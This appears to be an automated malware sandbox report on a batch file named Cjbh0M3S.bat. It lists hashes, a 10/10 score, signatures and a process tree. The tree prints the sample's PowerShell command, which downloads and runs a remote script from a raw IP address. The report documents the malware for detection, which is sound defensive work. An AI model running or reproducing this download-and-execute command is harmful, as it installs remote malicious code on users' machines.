Overview

overview

10

Static

static

Cjbh0M3S.bat

windows7_x64

10

Cjbh0M3S.bat

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    88s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    30-04-2020 18:10

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General

  • Target

    Cjbh0M3S.bat

  • Size

    193B

  • MD5

    5d7075d9a1018ed0ee80c0e92c3626cb

  • SHA1

    b3ca818f726d96177859eb15d4871525383594bb

  • SHA256

    44fb52f56f3b557e8fd8346ecc5536ca63a3c88eac2ce4549565d9501795c91a

  • SHA512

    bdd921b5de3eb45836fc4fc1cbb0efdec848a049c3d47d7646ed55927f7ac838480b266d5f361b1d0f99c530dffc4ba45e4962901a30432f1f8c1777bb9ac96c

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/Cjbh0M3S

Signatures

  • Makes http(s) request 1 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Cjbh0M3S.bat"
    1⤵
      PID:428
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/Cjbh0M3S');Invoke-XZCJULAOHR;Start-Sleep -s 10000"
        2⤵
          PID:744
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 744 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:912

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • memory/912-0-0x0000000004B90000-0x0000000004B91000-memory.dmp

        Filesize

        4KB

        Download

      • memory/912-1-0x0000000004F90000-0x0000000004F91000-memory.dmp

        Filesize

        4KB

        Download

      • memory/912-2-0x0000000005380000-0x0000000005381000-memory.dmp

        Filesize

        4KB

        Download